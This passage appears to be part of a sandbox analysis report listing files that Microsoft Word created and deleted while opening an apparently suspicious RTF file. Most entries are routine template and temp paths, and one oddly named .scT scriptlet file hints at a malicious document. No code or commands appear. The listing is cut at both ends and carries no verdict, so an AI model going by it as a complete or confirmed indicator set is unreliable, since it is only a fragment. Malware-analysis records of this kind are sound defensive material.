  955. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA938.tmp",
  956. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA75B.tmp\\TabList.glox",
  957. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA72A.tmp",
  958. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA63B.tmp\\content.inf",
  959. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA8F9.tmp\\content.inf",
  960. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA8E8.tmp\\pictureorgchart.glox",
  961. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851218fn=gb.xsl",
  962. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA8F9.tmp\\Frame.thmx",
  963. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA75B.tmp\\Content.inf",
  964. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA8A9.tmp\\Content.inf",
  965. "C:\\Users\\user\\AppData\\Local\\Temp\\CabAA44.tmp",
  966. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328908fn=Circle Process.glox",
  967. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851220fn=gosttitle.xsl",
  968. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA939.tmp",
  969. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033917fn=Berlin.thmx",
  970. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA8E8.tmp\\Content.inf",
  971. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAB52.tmp\\InterconnectedBlockProcess.glox",
  972. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA74A.tmp\\Content.inf",
  973. "C:\\Users\\user\\AppData\\Local\\Temp\\TarAA84.tmp",
  974. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAB52.tmp\\Content.inf",
  975. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAB41.tmp\\content.inf",
  976. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAB51.tmp\\TabbedArc.glox",
  977. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAB93.tmp\\Badge.thmx",
  978. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAB53.tmp\\turabian.xsl",
  979. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAB41.tmp\\Droplet.thmx",
  980. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAA54.tmp\\gostname.xsl",
  981. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAB51.tmp\\Content.inf",
  982. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328972fn=Tab List.glox",
  983. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851216fn=apasixtheditionofficeonline.xsl",
  984. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328905fn=Chevron Accent.glox",
  985. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAB53.tmp\\Content.inf",
  986. "C:\\Users\\user\\AppData\\Local\\Temp\\CabADD6.tmp",
  987. "C:\\Users\\user\\AppData\\Local\\Temp\\TarADE7.tmp",
  988. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457503fn=Quotable.thmx",
  989. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328935fn=Picture Organization Chart.glox",
  990. "C:\\Users\\user\\AppData\\Local\\Temp\\CabAE36.tmp",
  991. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328975fn=Theme Picture Accent.glox",
  992. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328951fn=Tabbed Arc.glox",
  993. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457464fn=Dividend.thmx",
  994. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328925fn=Interconnected Block Process.glox",
  995. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAA54.tmp\\Content.inf",
  996. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAB93.tmp\\Content.inf",
  997. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851226fn=turabian.xsl",
  998. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAFE0.tmp",
  999. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAF70.tmp\\chicago.xsl",
  1000. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457475fn=Frame.thmx",
  1001. "C:\\Users\\user\\AppData\\Local\\Temp\\TarAE37.tmp",
  1002. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAF70.tmp\\Content.inf",
  1003. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAFBF.tmp\\Text Sidebar (Annual Report Red and Black design).docx",
  1004. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001103fn=Headlines.thmx",
  1005. "C:\\Users\\user\\AppData\\Local\\Temp\\CabB12C.tmp",
  1006. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB0CC.tmp\\ieee2006officeonline.xsl",
  1007. "C:\\Users\\user\\AppData\\Local\\Temp\\CabB1BB.tmp",
  1008. "C:\\Users\\user\\AppData\\Local\\Temp\\CabB1EC.tmp",
  1009. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851219fn=gostname.xsl",
  1010. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAFBF.tmp\\Content.inf",
  1011. "C:\\Users\\user\\AppData\\Local\\Temp\\TarB14C.tmp",
  1012. "C:\\Users\\user\\AppData\\Local\\Temp\\CabB26B.tmp",
  1013. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB11B.tmp\\content.inf",
  1014. "C:\\Users\\user\\AppData\\Local\\Temp\\TarB1ED.tmp",
  1015. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033925fn=Droplet.thmx",
  1016. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB0CC.tmp\\Content.inf",
  1017. "C:\\Users\\user\\AppData\\Local\\Temp\\TarB1DC.tmp",
  1018. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001106fn=Badge.thmx",
  1019. "C:\\Users\\user\\AppData\\Local\\Temp\\TarB26C.tmp",
  1020. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB11B.tmp\\Slate.thmx",
  1021. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB0BB.tmp\\iso690.xsl",
  1022. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB2CB.tmp\\Equations.dotx",
  1023. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB16C.tmp\\content.inf",
  1024. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851222fn=ieee2006officeonline.xsl",
  1025. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB434.tmp\\Crop.thmx",
  1026. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB445.tmp\\content.inf",
  1027. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB4B4.tmp\\content.inf",
  1028. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB2CB.tmp\\Content.inf",
  1029. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB475.tmp\\Feathered.thmx",
  1030. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB445.tmp\\Mesh.thmx",
  1031. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB359.tmp\\mlaseventheditionofficeonline.xsl",
  1032. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM02835233fn=Text Sidebar (Annual Report Red and Black design).docx",
  1033. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB4B4.tmp\\Wood_Type.thmx",
  1034. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB532.tmp\\RadialPictureList.glox",
  1035. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851217fn=chicago.xsl",
  1036. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB532.tmp\\Content.inf",
  1037. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB572.tmp\\content.inf",
  1038. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB434.tmp\\Content.inf",
  1039. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB592.tmp\\BracketList.glox",
  1040. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB572.tmp\\Main_Event.thmx",
  1041. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB0BB.tmp\\Content.inf",
  1042. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB359.tmp\\Content.inf",
  1043. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB592.tmp\\Content.inf",
  1044. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB5F1.tmp\\architecture.glox",
  1045. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB640.tmp\\content.inf",
  1046. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB5F1.tmp\\Content.inf",
  1047. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM01840907fn=Equations.dotx",
  1048. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB640.tmp\\Damask.thmx",
  1049. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328940fn=Radial Picture List.glox",
  1050. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328884fn=architecture.glox",
  1051. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB475.tmp\\Content.inf",
  1052. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033927fn=Main Event.thmx",
  1053. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033919fn=Circuit.thmx",
  1054. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001105fn=Crop.thmx",
  1055. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457485fn=Mesh.thmx",
  1056. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033929fn=Slate.thmx",
  1057. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328893fn=BracketList.glox",
  1058. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851225fn=mlaseventheditionofficeonline.xsl",
  1059. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBAE5.tmp\\Element design set.dotx",
  1060. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851223fn=iso690.xsl",
  1061. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001104fn=Feathered.thmx",
  1062. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBAE6.tmp\\content.inf",
  1063. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBAE6.tmp\\View.thmx",
  1064. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBAE5.tmp\\Content.inf",
  1065. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBB25.tmp\\content.inf",
  1066. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBB94.tmp\\sist02.xsl",
  1067. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBBB5.tmp",
  1068. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03090434fn=Wood Type.thmx",
  1069. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBB65.tmp\\iso690nmerical.xsl",
  1070. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBB94.tmp\\Content.inf",
  1071. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBB65.tmp\\Content.inf",
  1072. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBCCF.tmp",
  1073. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851224fn=iso690nmerical.xsl",
  1074. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457491fn=Metropolitan.thmx",
  1075. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD3D.tmp\\ThemePictureGrid.glox",
  1076. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD3D.tmp\\Content.inf",
  1077. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD5F.tmp\\ThemePictureAlternatingAccent.glox",
  1078. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD4E.tmp\\VaryingWidthList.glox",
  1079. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM03998158fn=Element.dotx",
  1080. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD4E.tmp\\Content.inf",
  1081. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD7F.tmp\\harvardanglia2008officeonline.xsl",
  1082. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457515fn=View.thmx",
  1083. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD5F.tmp\\Content.inf",
  1084. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBDBE.tmp\\Banded.thmx",
  1085. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD7F.tmp\\Content.inf",
  1086. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033921fn=Damask.thmx",
  1087. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBE0E.tmp\\Basis.thmx",
  1088. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBDBF.tmp\\Content.inf",
  1089. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328986fn=Theme Picture Grid.glox",
  1090. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBE9D.tmp\\ConvergingText.glox",
  1091. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBE8C.tmp\\PictureFrame.glox",
  1092. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851227fn=sist02.xsl",
  1093. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBE9D.tmp\\Content.inf",
  1094. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBDBE.tmp\\content.inf",
  1095. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBE8C.tmp\\Content.inf",
  1096. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBE0E.tmp\\content.inf",
  1097. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328990fn=Varying Width List.glox",
  1098. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328983fn=Theme Picture Alternating Accent.glox",
  1099. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851221fn=harvardanglia2008officeonline.xsl",
  1100. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328919fn=Hexagon Radial.glox",
  1101. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBFF6.tmp\\rings.glox",
  1102. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC074.tmp\\content.inf",
  1103. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBFF6.tmp\\Content.inf",
  1104. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC074.tmp\\Vapor_Trail.thmx",
  1105. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03090430fn=Banded.thmx",
  1106. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328916fn=Converging Text.glox",
  1107. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457444fn=Basis.thmx",
  1108. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328998fn=Rings.glox",
  1109. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328932fn=Picture Frame.glox",
  1110. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC15F.tmp\\Insight design set.dotx",
  1111. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033937fn=Vapor Trail.thmx",
  1112. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC15F.tmp\\Content.inf",
  1113. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM03998159fn=Insight.dotx",
  1114. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC",
  1115. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\UProof\\ExcludeDictionaryEN0409.lex",
  1116. "C:\\Users\\user\\AppData\\Local\\Temp\\~WRD0002.tmp",
  1117. "C:\\Users\\user\\AppData\\Local\\Temp\\~WRL0003.tmp"
  1118.  
  1119.  
  1120. * Deleted Files:
  1121. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab6383.tmp",
  1122. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar6384.tmp",
  1123. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\17165E0D.png",
  1124. "C:\\Users\\user\\AppData\\OICE_15_974FA576_32C1D314_28E5\\",
  1125. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Schemas\\MS Word_restart.xml",
  1126. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\",
  1127. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\AutoRecovery save of RTF_a2c666fa5a13c744ad2c859e8874eb1b.asd",
  1128. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\~WRD0000.tmp",
  1129. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\~WRL0001.tmp",
  1130. "C:\\Users\\user\\AppData\\Local\\Temp\\Abctfhghghghghg.scT",
  1131. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab986B.tmp",
  1132. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar987B.tmp",
  1133. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9AC8.tmp",
  1134. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9AD9.tmp",
  1135. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab98BB.tmp",
  1136. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9AFB.tmp",
  1137. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9AFC.tmp",
  1138. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar990C.tmp",
  1139. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9ADB.tmp",
  1140. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab995D.tmp",
  1141. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9ADA.tmp",
  1142. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9AFE.tmp",
  1143. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab990B.tmp",
  1144. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9B4F.tmp",
  1145. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9AB7.tmp",
  1146. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar995E.tmp",
  1147. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9AC9.tmp",
  1148. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar990D.tmp",
  1149. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9BBD.tmp",
  1150. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9BBE.tmp",
  1151. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9E63.tmp",
  1152. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9AFD.tmp",
  1153. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9E64.tmp",
  1154. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9BEF.tmp",
  1155. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9BFF.tmp",
  1156. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9F11.tmp",
  1157. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9F21.tmp",
  1158. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9B1F.tmp",
  1159. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9C00.tmp",
  1160. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9BBF.tmp",
  1161. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA228.tmp",
  1162. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA229.tmp",
  1163. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA440.tmp",
  1164. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA451.tmp",
  1165. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA204.tmp",
  1166. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA205.tmp",
  1167. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA4EE.tmp",
  1168. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA4FF.tmp",
  1169. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA50F.tmp",
  1170. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA22A.tmp",
  1171. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA22B.tmp",
  1172. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA55E.tmp",
  1173. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA226.tmp",
  1174. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA63B.tmp",
  1175. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA227.tmp",
  1176. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA50F.tmp\\Parallax.thmx",
  1177. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA74A.tmp",
  1178. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA74B.tmp",
  1179. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA718.tmp",
  1180. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA451.tmp\\Savon.thmx",
  1181. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA75B.tmp",
  1182. "C:\\Users\\user\\AppData\\Local\\Temp\\cab923A.tmp",
  1183. "C:\\Users\\user\\AppData\\Local\\Temp\\cab983B.tmp",
  1184. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA809.tmp",
  1185. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA8A9.tmp",
  1186. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA8F9.tmp",
  1187. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA8E8.tmp",
  1188. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA718.tmp\\gb.xsl",
  1189. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA63A.tmp",
  1190. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA64C.tmp",
  1191. "C:\\Users\\user\\AppData\\Local\\Temp\\cab904B.tmp",
  1192. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA729.tmp",
  1193. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA72A.tmp",
  1194. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAA54.tmp",
  1195. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA74B.tmp\\CircleProcess.glox",
  1196. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA55E.tmp\\gosttitle.xsl",
  1197. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA63B.tmp\\Berlin.thmx",
  1198. "C:\\Users\\user\\AppData\\Local\\Temp\\cab900A.tmp",
  1199. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAB51.tmp",
  1200. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAB53.tmp",
  1201. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAB41.tmp",
  1202. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAB52.tmp",
  1203. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAB93.tmp",
  1204. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8F13.tmp",
  1205. "C:\\Users\\user\\AppData\\Local\\Temp\\cab994D.tmp",
  1206. "C:\\Users\\user\\AppData\\Local\\Temp\\CabAA44.tmp",
  1207. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA938.tmp",
  1208. "C:\\Users\\user\\AppData\\Local\\Temp\\TarAA84.tmp",
  1209. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA75B.tmp\\TabList.glox",
  1210. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA939.tmp",
  1211. "C:\\Users\\user\\AppData\\Local\\Temp\\cab908B.tmp",
  1212. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA4EE.tmp\\APASixthEditionOfficeOnline.xsl",
  1213. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA440.tmp\\chevronaccent.glox",
  1214. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8F68.tmp",
  1215. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8D77.tmp",
  1216. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA4FF.tmp\\Quotable.thmx",
  1217. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA8E8.tmp\\pictureorgchart.glox",
  1218. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9730.tmp",
  1219. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA8A9.tmp\\ThemePictureAccent.glox",
  1220. "C:\\Users\\user\\AppData\\Local\\Temp\\CabADD6.tmp",
  1221. "C:\\Users\\user\\AppData\\Local\\Temp\\cab90AB.tmp",
  1222. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAB51.tmp\\TabbedArc.glox",
  1223. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA809.tmp\\Dividend.thmx",
  1224. "C:\\Users\\user\\AppData\\Local\\Temp\\TarADE7.tmp",
  1225. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAB52.tmp\\InterconnectedBlockProcess.glox",
  1226. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8EF2.tmp",
  1227. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAF70.tmp",
  1228. "C:\\Users\\user\\AppData\\Local\\Temp\\cab93D3.tmp",
  1229. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FC8.tmp",
  1230. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAB53.tmp\\turabian.xsl",
  1231. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FB8.tmp",
  1232. "C:\\Users\\user\\AppData\\Local\\Temp\\cab910C.tmp",
  1233. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAFBF.tmp",
